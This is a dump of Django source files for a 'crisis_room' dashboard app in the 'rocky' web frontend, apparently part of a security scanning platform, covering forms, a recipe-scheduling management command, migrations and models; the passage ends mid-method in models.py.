    "content": "import json\nfrom typing import Any\n\nfrom django import forms\nfrom django.core.exceptions import ValidationError\nfrom django.db.utils import IntegrityError\nfrom django.utils.translation import gettext_lazy as _\nfrom tools.forms.base import BaseRockyForm\nfrom tools.forms.ooi_form import FindingFilterForm, OOIFilterForm\n\nfrom crisis_room.models import FINDINGS_DASHBOARD_NAME, Dashboard, DashboardItem\nfrom rocky.views.mixins import FINDING_LIST_COLUMNS, OBJECT_LIST_COLUMNS\n\n\nclass AddDashboardForm(BaseRockyForm):\n    dashboard_name = forms.CharField(label=_(\"Name\"), required=True)\n\n\nclass AddDashboardItemForm(BaseRockyForm):\n    dashboard = forms.ChoiceField(required=True, widget=forms.Select, choices=[])\n\n    title = forms.CharField(label=_(\"Title on dashboard\"), required=True)\n\n    size = forms.ChoiceField(\n        label=_(\"Dashboard item size\"),\n        required=True,\n        widget=forms.RadioSelect(),\n        choices=((\"1\", _(\"Full width\")), (\"2\", _(\"Half width\"))),\n        initial=\"1\",\n    )\n\n    def __init__(self, organization, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n        self.organization = organization\n        self.fields[\"dashboard\"].choices = self.get_dashboard_selection()\n\n    def clean_title(self):\n        \"\"\"Checks if title is already used as dashboard item name\"\"\"\n        name = self.cleaned_data.get(\"title\")\n        dashboard = self.cleaned_data.get(\"dashboard\")\n        if dashboard is not None and self.has_duplicate_name(dashboard, name):\n            raise ValidationError(_(\"An item with that name already exists. Try a different title.\"))\n        return name\n\n    def clean_columns(self):\n        column_values = self.cleaned_data.get(\"columns\")\n\n        if column_values is None:\n            raise ValidationError(\"Choose at least one column to continue.\")\n\n        return column_values\n\n    def get_dashboard(self) -> Dashboard | None:\n        try:\n            dashboard_id = self.cleaned_data.get(\"dashboard\")\n            return Dashboard.objects.get(id=dashboard_id, organization=self.organization)\n        except Dashboard.DoesNotExist:\n            raise ValidationError(\"Dashboard does not exist.\")\n        except ValueError:\n            raise ValidationError(\"No Dashboard selected. Choose an option from the list.\")\n\n    def get_dashboard_selection(self) -> list[tuple[str, str]]:\n        default = [(\"\", \"--- Select an option ----\")]\n        dashboards = Dashboard.objects.filter(organization=self.organization).exclude(name=FINDINGS_DASHBOARD_NAME)\n        dashboard_choices = [(dashboard.id, dashboard.name) for dashboard in dashboards]\n\n        return default + dashboard_choices\n\n    def has_duplicate_name(self, dashboard: Dashboard, name: str | None) -> bool:\n        return DashboardItem.objects.filter(dashboard=dashboard, name=name).exists()\n\n    def get_query(self) -> dict[str, Any]:\n        return {}\n\n    def get_settings(self) -> dict[str, Any]:\n        size = self.cleaned_data.get(\"size\", \"1\")\n        columns = self.cleaned_data.get(\"columns\")\n\n        return {\"size\": size, \"columns\": columns}\n\n    def is_valid(self):\n        is_valid = super().is_valid()\n        if is_valid:\n            dashboard_created = self.create_dashboard_item()\n        return is_valid and dashboard_created\n\n    def create_dashboard_item(self) -> bool:\n        dashboard = self.get_dashboard()\n        name = self.cleaned_data.get(\"title\")\n        recipe_id = self.cleaned_data.get(\"recipe_id\")\n        query = self.get_query()\n\n        if dashboard is not None and name is not None:\n            try:\n                form_data = {\n                    \"dashboard\": dashboard,\n                    \"name\": name,\n                    \"recipe\": recipe_id,\n                    \"source\": self.cleaned_data.get(\"source\", \"\"),\n                    \"query\": json.dumps(query) if query else \"\",\n                    \"template\": self.cleaned_data.get(\"template\", \"\"),\n                    \"settings\": self.get_settings(),\n                    \"display_in_dashboard\": True,\n                }\n                DashboardItem.objects.create(**form_data)\n                return True\n            except ValidationError as error:\n                raise ValidationError(error)\n            except IntegrityError:\n                raise ValidationError(_(\"An error occurred while adding dashboard item.\"))\n        return False\n\n\nclass AddObjectListDashboardItemForm(OOIFilterForm, AddDashboardItemForm):\n    limit = forms.ChoiceField(\n        label=_(\"Number of rows in list\"),\n        required=True,\n        widget=forms.Select,\n        choices=([(\"5\", \"5\"), (\"10\", \"10\"), (\"15\", \"15\"), (\"20\", \"20\"), (\"30\", \"30\")]),\n        initial=\"20\",\n    )\n    order_by = forms.ChoiceField(\n        label=_(\"List sorting by\"),\n        required=True,\n        widget=forms.Select,\n        choices=(\n            (\"object_type-asc\", _(\"Type (A-Z)\")),\n            (\"object_type-desc\", _(\"Type (Z-A)\")),\n            (\"scan_level-asc\", _(\"Clearance level (Low-High)\")),\n            (\"scan_level-desc\", _(\"Clearance level (High-Low)\")),\n        ),\n        initial=\"scan_level-desc\",\n    )\n\n    columns = forms.MultipleChoiceField(\n        label=_(\"Show table columns\"),\n        required=True,\n        widget=forms.CheckboxSelectMultiple(attrs={\"checked\": True}),\n        choices=((value, name) for value, name in OBJECT_LIST_COLUMNS.items()),\n    )\n    source = forms.CharField(initial=\"object_list\", widget=forms.HiddenInput())\n    template = forms.CharField(initial=\"partials/dashboard_ooi_list.html\", widget=forms.HiddenInput())\n\n    def get_query(self):\n        query = super().get_query()\n        order_by, sorting_order = self.cleaned_data.get(\"order_by\", \"\").split(\"-\", 1)\n\n        limit = int(self.cleaned_data.get(\"limit\", 10))\n\n        return {\"order_by\": order_by, \"sorting_order\": sorting_order, \"limit\": limit} | query\n\n\nclass AddFindingListDashboardItemForm(FindingFilterForm, AddDashboardItemForm):\n    limit = forms.ChoiceField(\n        label=_(\"Number of rows in list\"),\n        required=True,\n        widget=forms.Select,\n        choices=([(\"5\", \"5\"), (\"10\", \"10\"), (\"15\", \"15\"), (\"20\", \"20\"), (\"30\", \"30\")]),\n        initial=\"20\",\n    )\n    order_by = forms.ChoiceField(\n        label=_(\"List sorting by\"),\n        required=True,\n        widget=forms.Select,\n        choices=(\n            (\"score-asc\", _(\"Severity (Low-High)\")),\n            (\"score-desc\", _(\"Severity (High-Low)\")),\n            (\"finding_type-asc\", _(\"Finding (A-Z)\")),\n            (\"finding_type-desc\", _(\"Finding (Z-A)\")),\n        ),\n        initial=\"score-desc\",\n    )\n\n    columns = forms.MultipleChoiceField(\n        label=_(\"Show table columns\"),\n        required=True,\n        widget=forms.CheckboxSelectMultiple(attrs={\"checked\": True}),\n        choices=((value, name) for value, name in FINDING_LIST_COLUMNS.items()),\n    )\n    source = forms.CharField(initial=\"finding_list\", widget=forms.HiddenInput())\n    template = forms.CharField(initial=\"partials/dashboard_finding_list.html\", widget=forms.HiddenInput())\n\n    def get_query(self):\n        query = super().get_query()\n        order_by, sorting_order = self.cleaned_data.get(\"order_by\", \"\").split(\"-\", 1)\n        limit = int(self.cleaned_data.get(\"limit\", 10))\n\n        return {\"order_by\": order_by, \"sorting_order\": sorting_order, \"limit\": limit} | query\n\n\nclass AddReportSectionDashboardItemForm(AddDashboardItemForm):\n    recipe_id = forms.CharField(widget=forms.HiddenInput())\n    source = forms.CharField(required=False, widget=forms.HiddenInput())\n    template = forms.CharField(widget=forms.HiddenInput())\n"
  },
  {
    "path": "rocky/crisis_room/management/__init__.py",
    "content": ""
  },
  {
    "path": "rocky/crisis_room/management/commands/__init__.py",
    "content": ""
  },
  {
    "path": "rocky/crisis_room/management/commands/dashboards.py",
    "content": "import json\nfrom datetime import datetime, timezone\nfrom pathlib import Path\nfrom uuid import uuid4\n\nimport structlog\nfrom django.conf import settings\nfrom django.core.management import BaseCommand\nfrom django.db.utils import IntegrityError\nfrom httpx import HTTPStatusError\nfrom pydantic import ValidationError\nfrom tools.models import Organization\nfrom tools.ooi_helpers import create_ooi\n\nfrom crisis_room.models import FINDINGS_DASHBOARD_NAME, FINDINGS_DASHBOARD_TEMPLATE, Dashboard, DashboardItem\nfrom octopoes.connector.octopoes import OctopoesAPIConnector\nfrom octopoes.models.ooi.reports import ReportRecipe\nfrom rocky.bytes_client import get_bytes_client\nfrom rocky.scheduler import ReportTask, ScheduleRequest, scheduler_client\n\nlogger = structlog.get_logger(__name__)\n\n\ndef create_findings_dashboard_recipe(\n    organization: Organization, octopoes_client: OctopoesAPIConnector | None = None\n) -> str | None:\n    \"\"\"\n    Creates a recipe OOI based on default recipe from recipe_seeder.json.\n    Creates a schedule of this recipe so the Report can be created to populate data for the Findings Dashboard.\n    Returns the recipe UUID string.\n    \"\"\"\n    try:\n        path = Path(__file__).parent / \"recipe_seeder.json\"\n\n        with path.open(\"r\") as recipe_seeder:\n            recipe_default = json.load(recipe_seeder)\n\n        valid_time = datetime.now(timezone.utc)\n        if octopoes_client is None:\n            octopoes_client = OctopoesAPIConnector(\n                settings.OCTOPOES_API, organization.code, timeout=settings.ROCKY_OUTGOING_REQUEST_TIMEOUT\n            )\n        bytes_client = get_bytes_client(organization.code)\n\n        report_recipe = ReportRecipe(recipe_id=uuid4(), **recipe_default)\n\n        create_ooi(api_connector=octopoes_client, bytes_client=bytes_client, ooi=report_recipe, observed_at=valid_time)\n\n        schedule_recipe(organization, report_recipe)\n\n        return str(report_recipe.recipe_id)\n\n    except (ValueError, ValidationError, HTTPStatusError, ConnectionError) as error:\n        logger.error(\"An error occurred: %s\", error)\n    return None\n\n\ndef schedule_recipe(organization: Organization, recipe: ReportRecipe) -> None:\n    try:\n        valid_time = datetime.now(timezone.utc)\n        recipe_id = str(recipe.recipe_id)\n\n        report_task = ReportTask(organisation_id=organization.code, report_recipe_id=recipe_id).model_dump()\n\n        schedule_request = ScheduleRequest(\n            scheduler_id=\"report\",\n            organisation=organization.code,\n            data=report_task,\n            schedule=recipe.cron_expression,\n            deadline_at=valid_time.isoformat(),\n        )\n\n        scheduler_client(organization.code).post_schedule(schedule=schedule_request)\n        logger.info(\"Schedule created for recipe: %s\")\n\n    except (ValueError, ValidationError, HTTPStatusError, ConnectionError) as error:\n        logger.error(\"An error occurred: %s\", error)\n\n\ndef reschedule_recipe(organization: Organization, recipe_id: str) -> None:\n    try:\n        scheduler_connector = scheduler_client(organization.code)\n        deadline_at = datetime.now(timezone.utc).isoformat()\n\n        filters = {\"filters\": [{\"column\": \"data\", \"field\": \"report_recipe_id\", \"operator\": \"==\", \"value\": recipe_id}]}\n\n        schedule = scheduler_connector.post_schedule_search(filters)\n\n        if not schedule.results:\n            logger.error(\"Schedule with recipe id: %s not found.\", recipe_id)\n            return None\n\n        schedule = schedule.results[0]\n\n        if not schedule.enabled:\n            logger.error(\"A schedule with recipe id: %s is disabled. Enable schedule first.\", recipe_id)\n            return None\n\n        scheduler_connector.patch_schedule(schedule_id=str(schedule.id), params={\"deadline_at\": deadline_at})\n\n    except (ValueError, ValidationError, HTTPStatusError, ConnectionError) as error:\n        logger.error(\"An error occurred: %s\", error)\n    return None\n\n\ndef create_findings_dashboard(\n    organization: Organization,\n    octopoes_client: OctopoesAPIConnector | None = None,\n    DashboardModel=Dashboard,\n    DashboardItemModel=DashboardItem,\n) -> None:\n    dashboard = DashboardModel.objects.create(name=FINDINGS_DASHBOARD_NAME, organization=organization)\n    recipe_id = create_findings_dashboard_recipe(organization, octopoes_client)\n    DashboardItemModel.objects.create(\n        dashboard=dashboard, recipe=recipe_id, template=FINDINGS_DASHBOARD_TEMPLATE, findings_dashboard=True, position=1\n    )\n    logger.info(\"New reecipe with id: %s has been created and scheduled.\", recipe_id)\n\n\ndef run_findings_dashboard(\n    organization: Organization,\n    octopoes_client: OctopoesAPIConnector | None = None,\n    DashboardModel=Dashboard,\n    DashboardItemModel=DashboardItem,\n) -> None:\n    \"\"\"\n    Find a findings dashboard, if found, take the recipe id and rerun the schedule.\n    If no findings dashboard is found, then create a new one and create a new recipe.\n    \"\"\"\n    try:\n        dashboard = DashboardModel.objects.filter(\n            dashboarditem__findings_dashboard=True, organization=organization\n        ).first()\n        if dashboard is not None:\n            findings_dashboard = DashboardItemModel.objects.get(dashboard=dashboard, findings_dashboard=True)\n            reschedule_recipe(organization, str(findings_dashboard.recipe))\n            logger.info(\"Recipe %s has been rescheduled.\", findings_dashboard.recipe)\n        else:\n            create_findings_dashboard(organization, octopoes_client, DashboardModel, DashboardItemModel)\n\n    except DashboardItemModel.DoesNotExist:\n        create_findings_dashboard(organization, octopoes_client, DashboardModel, DashboardItemModel)\n\n    except (IntegrityError, ValueError, ValidationError):\n        logger.exception(\"Findings Dashboard not created.\")\n\n\nclass Command(BaseCommand):\n    def handle(self, *args, **options):\n        organizations = Organization.objects.all()\n        for organization in organizations:\n            run_findings_dashboard(organization)\n"
  },
  {
    "path": "rocky/crisis_room/management/commands/recipe_seeder.json",
    "content": "{\n  \"report_name_format\": \"Crisis Room Aggregate Report\",\n  \"input_recipe\": {\n    \"query\": {\n      \"ooi_types\": [\n        \"IPAddressV6\",\n        \"Hostname\",\n        \"IPAddressV4\",\n        \"URL\"\n      ],\n      \"scan_level\": [\n        1,\n        2,\n        3,\n        4\n      ],\n      \"scan_type\": [\n        \"declared\"\n      ],\n      \"search_string\": \"\",\n      \"order_by\": \"object_type\",\n      \"asc_desc\": \"desc\"\n    }\n  },\n  \"report_type\": \"aggregate-organisation-report\",\n  \"asset_report_types\": [\n    \"systems-report\",\n    \"findings-report\"\n  ],\n  \"cron_expression\": \"0 * * * *\"\n}\n"
  },
  {
    "path": "rocky/crisis_room/migrations/0001_initial.py",
    "content": "# Generated by Django 5.0.13 on 2025-04-07 12:03\n\nimport django.core.validators\nimport django.db.models.deletion\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n    initial = True\n\n    dependencies = [(\"tools\", \"0044_alter_organization_options\")]\n\n    operations = [\n        migrations.CreateModel(\n            name=\"Dashboard\",\n            fields=[\n                (\"id\", models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name=\"ID\")),\n                (\"name\", models.CharField(max_length=126)),\n                (\n                    \"organization\",\n                    models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, to=\"tools.organization\"),\n                ),\n            ],\n            options={\"unique_together\": {(\"name\", \"organization\")}},\n        ),\n        migrations.CreateModel(\n            name=\"DashboardData\",\n            fields=[\n                (\"id\", models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name=\"ID\")),\n                (\"recipe\", models.UUIDField(null=True)),\n                (\"template\", models.CharField(blank=True, default=\"findings_report/report.html\", max_length=126)),\n                (\n                    \"position\",\n                    models.PositiveSmallIntegerField(\n                        blank=True,\n                        default=1,\n                        help_text=\"Where on the dashboard do you want to show the data? Position 1 is the most top level and the max position is 16.\",\n                        validators=[\n                            django.core.validators.MinValueValidator(1),\n                            django.core.validators.MaxValueValidator(16),\n                        ],\n                    ),\n                ),\n                (\n                    \"display_in_crisis_room\",\n                    models.BooleanField(\n                        default=False, help_text=\"Will be displayed on the general crisis room, for all organizations.\"\n                    ),\n                ),\n                (\n                    \"display_in_dashboard\",\n                    models.BooleanField(\n                        default=False, help_text=\"Will be displayed on a single organization dashboard\"\n                    ),\n                ),\n                (\n                    \"findings_dashboard\",\n                    models.BooleanField(\n                        default=False, help_text=\"Will be displayed on the findings dashboard for all organizations\"\n                    ),\n                ),\n                (\n                    \"dashboard\",\n                    models.ForeignKey(\n                        null=True, on_delete=django.db.models.deletion.CASCADE, to=\"crisis_room.dashboard\"\n                    ),\n                ),\n            ],\n            options={\"unique_together\": {(\"dashboard\", \"findings_dashboard\"), (\"dashboard\", \"position\")}},\n        ),\n    ]\n"
  },
  {
    "path": "rocky/crisis_room/migrations/0002_create_findings_dashboards.py",
    "content": "# Generated by Django 5.0.13 on 2025-04-07 12:07\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"crisis_room\", \"0001_initial\")]\n\n    operations: list = []\n"
  },
  {
    "path": "rocky/crisis_room/migrations/0003_alter_dashboarddata_unique_together_and_more.py",
    "content": "# Generated by Django 5.0.14 on 2025-05-07 10:34\n\nimport django.core.validators\nimport django.db.models.constraints\nimport django.utils.timezone\nfrom django.db import migrations, models\n\nimport crisis_room.models\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"crisis_room\", \"0002_create_findings_dashboards\")]\n\n    operations = [\n        migrations.AlterUniqueTogether(name=\"dashboarddata\", unique_together=set()),\n        migrations.AddField(\n            model_name=\"dashboard\",\n            name=\"created_at\",\n            field=models.DateTimeField(auto_now_add=True, default=django.utils.timezone.now),\n            preserve_default=False,\n        ),\n        migrations.AddField(model_name=\"dashboard\", name=\"updated_at\", field=models.DateTimeField(auto_now=True)),\n        migrations.AddField(\n            model_name=\"dashboarddata\",\n            name=\"created_at\",\n            field=models.DateTimeField(auto_now_add=True, default=django.utils.timezone.now),\n            preserve_default=False,\n        ),\n        migrations.AddField(\n            model_name=\"dashboarddata\", name=\"name\", field=models.CharField(blank=True, max_length=126)\n        ),\n        migrations.AddField(model_name=\"dashboarddata\", name=\"query\", field=models.CharField(blank=True)),\n        migrations.AddField(\n            model_name=\"dashboarddata\", name=\"query_from\", field=models.CharField(blank=True, max_length=32)\n        ),\n        migrations.AddField(\n            model_name=\"dashboarddata\",\n            name=\"settings\",\n            field=models.JSONField(\n                blank=True, default=crisis_room.models.get_default_dashboard_item_settings, null=True\n            ),\n        ),\n        migrations.AddField(model_name=\"dashboarddata\", name=\"updated_at\", field=models.DateTimeField(auto_now=True)),\n        migrations.AlterField(\n            model_name=\"dashboarddata\",\n            name=\"position\",\n            field=models.PositiveSmallIntegerField(\n                blank=True,\n                help_text=\"Where on the dashboard do you want to show the data? Position 1 is the most top level and the max position is 16.\",\n                validators=[django.core.validators.MinValueValidator(1), django.core.validators.MaxValueValidator(16)],\n            ),\n        ),\n        migrations.AlterField(model_name=\"dashboarddata\", name=\"recipe\", field=models.UUIDField(blank=True, null=True)),\n        migrations.AddConstraint(\n            model_name=\"dashboarddata\",\n            constraint=models.UniqueConstraint(\n                deferrable=django.db.models.constraints.Deferrable[\"DEFERRED\"],\n                fields=(\"dashboard\", \"position\"),\n                name=\"unique dashboard position\",\n            ),\n        ),\n        migrations.AddConstraint(\n            model_name=\"dashboarddata\",\n            constraint=models.UniqueConstraint(\n                deferrable=django.db.models.constraints.Deferrable[\"DEFERRED\"],\n                fields=(\"dashboard\", \"name\"),\n                name=\"unique dashboard name\",\n            ),\n        ),\n        migrations.AlterModelOptions(\n            name=\"dashboarddata\",\n            options={\n                \"permissions\": [\n                    (\"change_dashboarddata_position\", \"Can change position up or down of a dashboard item.\")\n                ]\n            },\n        ),\n    ]\n"
  },
  {
    "path": "rocky/crisis_room/migrations/0004_change_name_findings_dashboard.py",
    "content": "# Generated by Django 5.0.14 on 2025-05-07 10:35\n\nfrom django.db import migrations\n\nfrom crisis_room.models import FINDINGS_DASHBOARD_NAME\n\n\ndef change_name_findings_dashboard(apps, _schema_editor):\n    Dashboard = apps.get_model(\"crisis_room\", \"Dashboard\")\n\n    dashboards = Dashboard.objects.filter(name=\"Crisis Room Findings Dashboard\")\n    for dashboard in dashboards:\n        dashboard.name = FINDINGS_DASHBOARD_NAME\n        dashboard.save()\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"crisis_room\", \"0003_alter_dashboarddata_unique_together_and_more\")]\n\n    operations = [migrations.RunPython(change_name_findings_dashboard)]\n"
  },
  {
    "path": "rocky/crisis_room/migrations/0005_add_dashboard_permissions_to_groups.py",
    "content": "# Generated by Django 5.0.14 on 2025-05-07 10:36\n\nimport structlog\nfrom django.contrib.auth.management import create_permissions\nfrom django.db import migrations\nfrom tools.models import GROUP_ADMIN, GROUP_REDTEAM\n\nlogger = structlog.get_logger(__name__)\n\n\ndef migrate_permissions(apps, _schema_editor):\n    for app_config in apps.get_app_configs():\n        app_config.models_module = True\n        create_permissions(app_config, apps=apps, verbosity=0)\n        app_config.models_module = None\n\n\ndef get_permissions(apps, codenames):\n    Permission = apps.get_model(\"auth\", \"Permission\")\n    permissions = []\n\n    for codename in codenames:\n        try:\n            permission = Permission.objects.get(codename=codename)\n            permissions.append(permission)\n        except Permission.DoesNotExist:\n            logger.error(\"Permission code '%s' not found.\", codename)\n            continue\n\n    return permissions\n\n\ndef add_dashboard_permissions_to_groups(apps, _schema_editor):\n    Group = apps.get_model(\"auth\", \"Group\")\n\n    dashboard_permissions = [\n        \"add_dashboard\",\n        \"change_dashboard\",\n        \"delete_dashboard\",\n        \"view_dashboard\",\n        \"add_dashboarddata\",\n        \"change_dashboarddata\",\n        \"delete_dashboarddata\",\n        \"view_dashboarddata\",\n        \"change_dashboarddata_position\",\n    ]\n\n    dashboard_permissions = get_permissions(apps, dashboard_permissions)\n\n    try:\n        admin_group = Group.objects.get(name=GROUP_ADMIN)\n        redteam_group = Group.objects.get(name=GROUP_REDTEAM)\n\n        for dashboard_permission in dashboard_permissions:\n            admin_group.permissions.add(dashboard_permission)\n            redteam_group.permissions.add(dashboard_permission)\n\n    except Group.DoesNotExist:\n        pass\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"crisis_room\", \"0004_change_name_findings_dashboard\")]\n\n    operations = [migrations.RunPython(migrate_permissions), migrations.RunPython(add_dashboard_permissions_to_groups)]\n"
  },
  {
    "path": "rocky/crisis_room/migrations/0006_rename_dashboarddata_dashboarditem.py",
    "content": "import json\nfrom datetime import datetime, timezone\n\nfrom django.db import migrations, models\n\nfrom crisis_room.management.commands.dashboards import run_findings_dashboard\nfrom crisis_room.models import FINDINGS_DASHBOARD_NAME\n\n\ndef update_permissions(apps, _schema_editor):\n    Permission = apps.get_model(\"auth\", \"Permission\")\n\n    old_permissions = Permission.objects.filter(codename__icontains=\"dashboarddata\")\n\n    for permission in old_permissions:\n        new_codename = permission.codename.replace(\"dashboarddata\", \"dashboarditem\")\n\n        if not Permission.objects.filter(codename=new_codename).exists():\n            Permission.objects.create(\n                name=permission.name.replace(\"dashboard data\", \"dashboard item\"),\n                content_type=permission.content_type,\n                codename=new_codename,\n            )\n\n        permission.delete()\n\n\ndef change_name_findings_dashboard(apps, _schema_editor):\n    Dashboard = apps.get_model(\"crisis_room\", \"Dashboard\")\n\n    dashboards = Dashboard.objects.filter(name=\"Findings Dashboard\")\n    for dashboard in dashboards:\n        dashboard.name = FINDINGS_DASHBOARD_NAME\n        dashboard.save()\n\n\ndef change_settings_columns(apps, _schema_editor):\n    DashboardItem = apps.get_model(\"crisis_room\", \"DashboardItem\")\n\n    dashboard_items = DashboardItem.objects.all()\n\n    for item in dashboard_items:\n        if item.settings:\n            columns = item.settings[\"columns\"]\n            if isinstance(columns, dict):\n                new_column_settings = [column_value for column_value, _ in columns.items()]\n                item.settings[\"columns\"] = new_column_settings\n                item.save()\n\n\ndef change_query_params(apps, _schema_editor):\n    DashboardItem = apps.get_model(\"crisis_room\", \"DashboardItem\")\n\n    dashboard_items = DashboardItem.objects.all()\n    new_query = {}\n    for dashboard_item in dashboard_items:\n        if dashboard_item.query:\n            query = json.loads(dashboard_item.query)\n            new_query[\"observed_at\"] = datetime.now(timezone.utc).strftime(\"%Y-%m-%d\")\n            new_query[\"ooi_type\"] = query.get(\"ooi_types\", [])\n            new_query[\"clearance_level\"] = query.get(\"scan_level\", [])\n            new_query[\"clearance_type\"] = query.get(\"scan_profile_type\", [])\n            new_query[\"search\"] = query.get(\"search_string\", \"\")\n            new_query[\"order_by\"] = query.get(\"order_by\", \"object_type\")\n            new_query[\"sorting_order\"] = query.get(\"asc_desc\", \"asc\")\n            new_query[\"limit\"] = query.get(\"limit\", 20)\n\n            dashboard_item.query = json.dumps(new_query)\n            dashboard_item.save()\n\n\ndef create_findings_dashboard_for_all_orgs(apps, _schema_editor):\n    Organization = apps.get_model(\"tools\", \"Organization\")\n    Dashboard = apps.get_model(\"crisis_room\", \"Dashboard\")\n    DashboardItem = apps.get_model(\"crisis_room\", \"DashboardItem\")\n\n    for organization in Organization.objects.all():\n        run_findings_dashboard(organization, None, Dashboard, DashboardItem)\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"crisis_room\", \"0005_add_dashboard_permissions_to_groups\")]\n\n    operations = [\n        migrations.RenameModel(old_name=\"DashboardData\", new_name=\"DashboardItem\"),\n        migrations.RenameField(model_name=\"dashboarditem\", old_name=\"query_from\", new_name=\"source\"),\n        migrations.AlterModelOptions(\n            name=\"dashboarditem\",\n            options={\n                \"permissions\": [\n                    (\"change_dashboarditem_position\", \"Can change position up or down of a dashboard item.\")\n                ]\n            },\n        ),\n        migrations.AddConstraint(\n            model_name=\"dashboarditem\",\n            constraint=models.UniqueConstraint(\n                condition=models.Q((\"findings_dashboard\", True)),\n                fields=(\"dashboard\",),\n                name=\"unique_findings_dashboard_per_dashboard\",\n            ),\n        ),\n        migrations.RunPython(update_permissions),\n        migrations.RunPython(change_name_findings_dashboard),\n        migrations.RunPython(change_settings_columns),\n        migrations.RunPython(change_query_params),\n        migrations.RunPython(create_findings_dashboard_for_all_orgs),\n    ]\n"
  },
  {
    "path": "rocky/crisis_room/migrations/0007_alter_dashboarditem_source.py",
    "content": "# Generated by Django 5.1.10 on 2025-06-18 07:32\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"crisis_room\", \"0006_rename_dashboarddata_dashboarditem\")]\n\n    operations = [\n        migrations.AlterField(\n            model_name=\"dashboarditem\", name=\"source\", field=models.CharField(blank=True, max_length=126)\n        )\n    ]\n"
  },
  {
    "path": "rocky/crisis_room/migrations/__init__.py",
    "content": ""
  },
  {
    "path": "rocky/crisis_room/models.py",
    "content": "import json\nfrom typing import Any, Literal, TypedDict\nfrom urllib.parse import urlencode\n\nimport structlog\nfrom django.core.exceptions import ValidationError\nfrom django.core.validators import MaxValueValidator, MinValueValidator\nfrom django.db import models, transaction\nfrom django.db.models.query_utils import Q\nfrom django.db.models.signals import post_delete, pre_save\nfrom django.dispatch import receiver\nfrom django.utils.translation import gettext_lazy as _\nfrom tools.models import Organization\n\nlogger = structlog.get_logger(__name__)\n\n\nclass Dashboard(models.Model):\n    name = models.CharField(blank=False, max_length=126)\n    organization = models.ForeignKey(Organization, on_delete=models.SET_NULL, null=True)\n    created_at = models.DateTimeField(auto_now_add=True)\n    updated_at = models.DateTimeField(auto_now=True)\n\n    EVENT_CODES = {\"created\": 900301, \"updated\": 900302, \"deleted\": 900303}\n\n    class Meta:\n        unique_together = [\"name\", \"organization\"]\n\n    def __str__(self) -> str:\n        if self.name:\n            return f\"{self.name} for organization {self.organization}\"\n        return super().__str__()\n\n\nMIN_POSITION = 1\nMAX_POSITION = 16\nFINDINGS_DASHBOARD_NAME = _(\"Findings Dashboard\")\nFINDINGS_DASHBOARD_TEMPLATE = \"findings_report/report.html\"\n\n\nclass DashboardItemSettings(TypedDict):\n    size: int\n    columns: list[str]\n\n\ndef get_default_dashboard_item_settings() -> DashboardItemSettings:\n    default_settings: DashboardItemSettings = {\"size\": 1, \"columns\": []}\n    return default_settings\n\n\nclass DashboardItem(models.Model):\n    dashboard = models.ForeignKey(Dashboard, on_delete=models.CASCADE, null=True)\n    name = models.CharField(blank=True, max_length=126)\n    created_at = models.DateTimeField(auto_now_add=True)\n    updated_at = models.DateTimeField(auto_now=True)\n    recipe = models.UUIDField(blank=True, null=True)\n    source = models.CharField(blank=True, max_length=126)\n    query = models.CharField(blank=True)\n    template = models.CharField(blank=True, max_length=126, default=FINDINGS_DASHBOARD_TEMPLATE)\n    position = models.PositiveSmallIntegerField(\n        blank=True,\n        validators=[MinValueValidator(MIN_POSITION), MaxValueValidator(MAX_POSITION)],\n        help_text=_(\n            \"Where on the dashboard do you want to show the data? \"\n            \"Position {} is the most top level and the max position is {}.\"\n        ).format(MIN_POSITION, MAX_POSITION),\n    )\n    settings = models.JSONField(blank=True, null=True, default=get_default_dashboard_item_settings)\n    display_in_crisis_room = models.BooleanField(\n        default=False, help_text=_(\"Will be displayed on the general crisis room, for all organizations.\")\n    )\n    display_in_dashboard = models.BooleanField(\n        default=False, help_text=_(\"Will be displayed on a single organization dashboard\")\n    )\n    findings_dashboard = models.BooleanField(\n        default=False, help_text=_(\"Will be displayed on the findings dashboard for all organizations\")\n    )\n\n    EVENT_CODES = {\"created\": 900311, \"updated\": 900312, \"deleted\": 900313}\n\n    class Meta:\n        permissions = [(\"change_dashboarditem_position\", _(\"Can change position up or down of a dashboard item.\"))]\n        constraints = [\n            models.UniqueConstraint(\n                name=\"unique dashboard position\",\n                fields=[\"dashboard\", \"position\"],\n                deferrable=models.Deferrable.DEFERRED,\n            ),\n            models.UniqueConstraint(\n                name=\"unique dashboard name\", fields=[\"dashboard\", \"name\"], deferrable=models.Deferrable.DEFERRED\n            ),\n            models.UniqueConstraint(\n                fields=[\"dashboard\"],\n                condition=Q(findings_dashboard=True),\n                name=\"unique_findings_dashboard_per_dashboard\",\n            ),\n        ]\n\n    def __str__(self) -> str:\n        try:\n            if self.name:\n                return f\"{self.name} on dashboard {str(self.dashboard)}\"\n            else:\n                return f\"Dashboard item on dashboard {str(self.dashboard)}\"\n        except Dashboard.DoesNotExist:\n            return super().__str__()\n\n    @property\n    def get_query_url(self) -> str:\n        if self.query:\n            return urlencode(json.loads(self.query), doseq=True)\n        return \"\"\n\n    @property\n    def get_query(self) -> dict[str, Any]:\n        if self.query:\n            return json.loads(self.query)\n        return {}\n\n    def clean(self) -> None:\n        if self.recipe and self.query:\n            raise ValidationError(_(\"You have to choose between a recipe or a query, but not both.\"))\n        if self.query and not self.source:\n            raise ValidationError(_(\"You have set a query and not where it is from. Also set the source.\"))\n        if not self.recipe and not self.source and not self.query:\n            raise ValidationError(_(\"DashboardItem must contain at least a 'recipe' or a 'source' with a 'query'.\"))\n        return super().clean()\n\n    def update_position(self, move: Literal[\"up\", \"down\"]) -> None:\n        if move not in (\"up\", \"down\"):\n            raise ValueError\n\n        old_position = self.position\n        new_position = self.position + (-1 if move == \"up\" else 1)\n\n        if 1 <= new_position <= 16:\n            try:\n                old_item = DashboardItem.objects.get(dashboard=self.dashboard, position=old_position)\n                new_item = DashboardItem.objects.get(dashboard=self.dashboard, position=new_position)\n\n                with transaction.atomic():\n                    new_item.position = old_position\n                    self.position = new_position\n                    